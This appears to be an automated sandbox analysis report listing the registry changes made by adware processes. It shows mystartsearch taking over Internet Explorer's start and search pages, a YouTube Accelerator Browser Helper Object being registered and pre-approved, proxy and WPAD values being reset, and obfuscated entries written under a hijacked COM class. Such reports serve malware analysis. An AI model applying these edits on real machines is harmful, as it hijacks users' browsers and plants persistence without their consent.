"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@""%windir%\System32]
"ie4uinit.exe"",-738" = "Start Internet Explorer without ActiveX controls or browser extensions."

[HKLM\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe http://www.mystartsearch.com/?type=sc&ts=1423719204&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\mystartsearchSoftware\mystartsearchhp]
"oem" = "smt"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "1"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1423719204&from=smt&uid=535559167_198339_B48A115F"
"Search Page" = "http://www.mystartsearch.com/web/?type=ds&ts=1423719204&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1423719204&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"Publisher" = "mystartsearch焀㽮Ʉ"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1423719204&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"
"DisplayName" = "mystartsearch"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1423719204&from=smt&uid=535559167_198339_B48A115F"

[HKCU\Software\Mozilla\Extends]
"ptid" = "smt"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1423719204&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "mystartsearch"

[HKLM\SOFTWARE\Wow6432Node\Mozilla\Firefox\Extensions]
"[email protected]" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]"

The process BaofengUpdate.exe:1888 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process YTAHelper.exe:3256 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"DBLocation" = "C:\ProgramData\YTAHelper"

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]
"{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"CONFIGLOCATION" = "C:\ProgramData\YTAHelper"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "75 99 16 5D 85 46 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "Type: REG_SZ, Length: 0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"UserId" = "572a1153-8705-4466-affe-b5bad540fde1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"
"NoExplore" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"YTAHEXELOCATION" = "%Program Files% (x86)\YTAHelper"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 46 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Version" = "1.5.0.196"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "smtycl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID]
"{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ProtectWindowsManager.exe:3376 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 05 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process ProtectWindowsManager.exe:580 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\services\eventlog\Application\WindowsMangerProtect]
"EventMessageFile" = "C:\ProgramData\WindowsMangerPro㿶ɋ"
"TypesSupported" = "7"

The process GLJE0FC.tmp:3368 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFPpg2.AniGIFPpg2]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ToolboxBitmap32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx, 1"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus]
"(Default)" = "0"

[HKCR\AniGIFCtrl.AniGIF\CLSID]
"(Default)" = "{82351441-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\AniGIFPpg.AniGIFPpg]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFPpg2.AniGIFPpg2.1]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\AniGIFPpg.AniGIFPpg\CurVer]
"(Default)" = "AniGIFPpg.AniGIFPpg.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFCtrl.AniGIF\CurVer]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb\0]
"(Default)" = "&Properties,0,2"

[HKCR\AniGIFPpg2.AniGIFPpg2\CurVer]
"(Default)" = "AniGIFPpg2.AniGIFPpg2.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFCtrl.AniGIF]
"(Default)" = "Animation GIF Control"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\AniGIFPpg.AniGIFPpg.1]
"(Default)" = "AniGIFPpg Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Version]
"(Default)" = "1.5"

[HKCR\AniGIFPpg.AniGIFPpg.1\CLSID]
"(Default)" = "{6DC82D15-92F2-11D1-A255-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\0\win32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\FLAGS]
"(Default)" = "2"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb]
"(Default)" = ""

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ProgID]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\AniGIFCtrl.AniGIF\Insertable]
"(Default)" = ""

[HKCR\AniGIFPpg2.AniGIFPpg2.1\CLSID]
"(Default)" = "{61AB12E1-A5FF-11D1-B2E9-444553540000}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\HELPDIR]
"(Default)" = "C:\Windows\SysWow64\"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Programmable]

The process YouTubeAcceleratorService.exe:1940 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "04 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 C5 A5 44 A3"

The process YouTubeAcceleratorService.exe:2644 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "07 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 C5 A5 44 A3"

The process YouTubeAcceleratorService.exe:3652 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQyJjWvnbINNKdg"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKU\.DEFAULT\Software\GOOBZO\YouTube Accelerator]
"LastUpdateTime" = "1423719199"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 C5 A5 44 A3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1423719190"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAIDV" = "0"
"SBPPW" = "7c2fslav"
"SBPIDV" = "0"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "09 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspVersion" = "1.0.0.1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"
"WpadNetworkName" = "Network 3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "B5 D8 3E 5F 85 46 D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"VA_Aff" = "NONE"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"
"TraceLevel" = "3"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LSPTestSucceeded" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "PDJVrQQlx|ab@_w}Yu`gBISI`@Ndl"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"XMLUpdateFailed" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAID" = "7291521e-e56c-4639-92af-ddebd5cb0120"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "B5 D8 3E 5F 85 46 D0 01"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtkUSLXGet\li@u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZiz"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAPW" = "OBum1Uup"
"SBPID" = "23f64a69-484a-4cc0-90a1-c34b11441526"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"resver" = "1.0.0.8"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "MfEm\RC`}|yQNf_|ac{GBsCvEzSm~"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"UpdateReason" = "0"
"XMLVersion" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "cugL"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"Uojvoqeov"
"qvorsEtjxw"
"qvbbRNdMg"
"cgcdxuSksc"
"LdsE"
"fSXewhkfv"
"yxQHXfdfitoe"
"pxylOXnGwpXkz"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"jugyvwoEcjGw"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"rffapxdttSchh"
"yEsrDTepOCs"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"hFLwn"
"DxOl"
"FdUXjkIpvn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"qPacydvhduuR"
"MNEMOyZJWG"
"omdjT"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"uqmpybcjdI"
"pseKcc"

The process YouTubeAcceleratorService.exe:2416 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "01 00 00 00"
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 C5 A5 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"ThreadingModel" = "Apartment"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "A1 91 1A F2 FE 16 1F FF FF FF FF 64 22 18 AF D9"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"(Default)" = "Create 802.11 Ad hoc Task Class"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"(Default)" = "%SystemRoot%\SysWow64\wlanpref.dll"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"0"

The process ins_postInst.exe:3184 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "EF 33 7C 54 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 42 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "74 D1 D8 56 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "74 D1 D8 56 85 46 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

